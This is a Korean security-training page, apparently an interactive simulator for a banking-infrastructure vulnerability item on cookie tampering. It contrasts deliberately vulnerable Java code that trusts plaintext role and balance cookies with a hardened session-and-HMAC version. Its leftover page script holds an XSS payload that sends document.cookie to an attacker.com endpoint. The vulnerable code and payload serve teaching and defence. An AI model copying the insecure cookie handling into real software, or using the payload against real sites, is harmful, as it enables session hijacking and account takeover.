전자금융기반시설 보안 취약점 평가기준 - WEB-SER-047

쿠키 변조 (CC) | 위험도: 3 (중간) | 통제구분: 5.2.5 쿠키 보안

기업은행

인터넷뱅킹 사용자 인증

취약점: 쿠키 검증 미흡

사용자 정보

이름: 홍길동

등급: 일반회원

잔액: 1,234,000원

브라우저 쿠키:

userId=user001
role=user
balance=1234000

쿠키 변조 도구

공격 시나리오

취약한 Java 코드

위험
// ❌ 쿠키 검증 없이 신뢰
@GetMapping("/mypage")
public String mypage(HttpServletRequest request) {
    
    // 쿠키 값을 그대로 신뢰!
    Cookie[] cookies = request.getCookies();
    String userId = getCookieValue(cookies, "userId");
    String role = getCookieValue(cookies, "role");
    int balance = Integer.parseInt(
        getCookieValue(cookies, "balance")
    );
    
    // 서버 검증 없이 권한 판단!
    if ("admin".equals(role)) {
        return "adminPage";  // 관리자 페이지
    }
    
    // 쿠키의 잔액을 그대로 표시!
    model.addAttribute("balance", balance);
    
    return "mypage";
}

// 쿠키 생성 시 서명 없음
@PostMapping("/login")
public String login(String userId, String password) {
    
    User user = authenticate(userId, password);
    
    // 평문 쿠키 생성 (서명 없음!)
    Cookie userIdCookie = new Cookie("userId", userId);
    Cookie roleCookie = new Cookie("role", user.getRole());
    Cookie balanceCookie = new Cookie("balance", 
        String.valueOf(user.getBalance()));
    
    // HttpOnly 미설정!
    response.addCookie(userIdCookie);
    response.addCookie(roleCookie);
    response.addCookie(balanceCookie);
    
    return "redirect:/mypage";
}

공격 실행 결과

대기중

공격 시나리오를 선택하세요

안전한 Java 코드

권장
// ✅ 안전한 쿠키 관리

// 1. 서명된 쿠키 생성 (HMAC)
@PostMapping("/login")
public String login(String userId, String password,
                   HttpServletResponse response) {
    
    User user = authenticate(userId, password);
    
    // 세션에 저장 (쿠키에 민감정보 X)
    session.setAttribute("userId", userId);
    session.setAttribute("user", user);
    
    // 세션 ID만 쿠키로 전송
    Cookie sessionCookie = new Cookie(
        "JSESSIONID", 
        session.getId()
    );
    
    // HttpOnly 설정 (XSS 방어)
    sessionCookie.setHttpOnly(true);
    
    // Secure 설정 (HTTPS만)
    sessionCookie.setSecure(true);
    
    // SameSite 설정 (CSRF 방어)
    response.setHeader("Set-Cookie", 
        String.format(
            "JSESSIONID=%s; HttpOnly; Secure; SameSite=Strict",
            session.getId()
        )
    );
    
    return "redirect:/mypage";
}

// 2. 서버에서 세션 검증
@GetMapping("/mypage")
public String mypage(HttpSession session, Model model) {
    
    // 세션에서 사용자 정보 조회
    User user = (User) session.getAttribute("user");
    
    if (user == null) {
        return "redirect:/login";
    }
    
    // DB에서 실시간 정보 조회
    User currentUser = userService.findById(user.getId());
    
    // 서버에서 권한 확인
    if (currentUser.getRole().equals("ADMIN")) {
        model.addAttribute("isAdmin", true);
    }
    
    // DB에서 조회한 잔액 표시
    model.addAttribute("balance", currentUser.getBalance());
    
    return "mypage";
}

// 3. 쿠키에 민감정보 필요 시 HMAC 서명
public String createSignedCookie(String value) {
    
    // HMAC-SHA256으로 서명 생성
    String secret = "your-secret-key-256bit";
    Mac sha256_HMAC = Mac.getInstance("HmacSHA256");
    SecretKeySpec secretKey = 
        new SecretKeySpec(secret.getBytes(), "HmacSHA256");
    sha256_HMAC.init(secretKey);
    
    byte[] hash = sha256_HMAC.doFinal(value.getBytes());
    String signature = Base64.getEncoder()
        .encodeToString(hash);
    
    // value + signature 결합
    return value + "." + signature;
}

// 4. 서명 검증
public boolean verifyCookie(String signedValue) {
    
    String[] parts = signedValue.split("\\.");
    if (parts.length != 2) {
        return false;
    }
    
    String value = parts[0];
    String receivedSignature = parts[1];
    
    // 서명 재생성
    String expectedSignedValue = createSignedCookie(value);
    String expectedSignature = 
        expectedSignedValue.split("\\.")[1];
    
    // 서명 일치 확인
    return receivedSignature.equals(expectedSignature);
}

// 5. Spring Boot 쿠키 보안 설정
@Bean
public ServletContextInitializer servletContextInit() {
    return ctx -> {
        SessionCookieConfig config = 
            ctx.getSessionCookieConfig();
        config.setHttpOnly(true);
        config.setSecure(true);
        config.setName("SESSIONID");
        config.setMaxAge(3600); // 1시간
        config.setAttribute("SameSite", "Strict");
    };
}

쿠키 보안 체크리스트

HttpOnly: JavaScript 접근 차단
Secure: HTTPS에서만 전송
SameSite: CSRF 공격 방어
서명/암호화: HMAC으로 무결성 보장
세션 사용: 민감정보는 서버에 저장
서버 검증: 쿠키 값 절대 신뢰 금지
', 'text-red-400'); await sleep(1000); addTerminalLine('> [!] 피해자 쿠키 탈취!', 'text-red-400'); await sleep(500); addTerminalLine('> userId=user001', 'text-red-400'); addTerminalLine('> role=user', 'text-red-400'); addTerminalLine('> balance=1234000', 'text-red-400'); await sleep(500); addTerminalLine('> JSESSIONID=ABC123...', 'text-red-400'); await sleep(800); addTerminalLine('> [!] 공격자가 쿠키 재사용', 'text-red-400'); await sleep(500); addTerminalLine('> 피해자 계정 접근 성공', 'text-red-400'); result.innerHTML = '
' + '

🚨 XSS + 쿠키 탈취

' + '
' + '
// XSS 공격 코드
' + '
<script>
' + '
var cookie = document.cookie;
' + '
fetch(\'http://attacker.com/steal\', {
' + '
method: \'POST\',
' + '
body: cookie
' + '
});
' + '
</script>
' + '
// 공격자 서버 로그:
' + '
userId=user001; role=user; ...
' + '
' + '
' + '

⚠️ HttpOnly 미설정 시:

' + '
' + '
• JavaScript로 쿠키 접근 가능
' + '
• XSS로 쿠키 탈취 가능
' + '
• 세션 하이재킹 위험
' + '
' + '
' + '

🔒 방어 방법

' + '

HttpOnly: true 설정 필수!

' + '

→ document.cookie 접근 차단

' + '
'; document.getElementById('evidence').textContent = 'HttpOnly 쿠키 미사용'; badge.textContent = '치명적'; badge.className = 'text-xs bg-red-600 text-white px-3 py-1 rounded'; } } function addTerminalLine(text, color) { var div = document.createElement('div'); div.className = color || 'text-green-400'; div.textContent = text; document.getElementById('terminalLines').appendChild(div); document.getElementById('terminalLines').scrollTop = document.getElementById('terminalLines').scrollHeight; } function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); }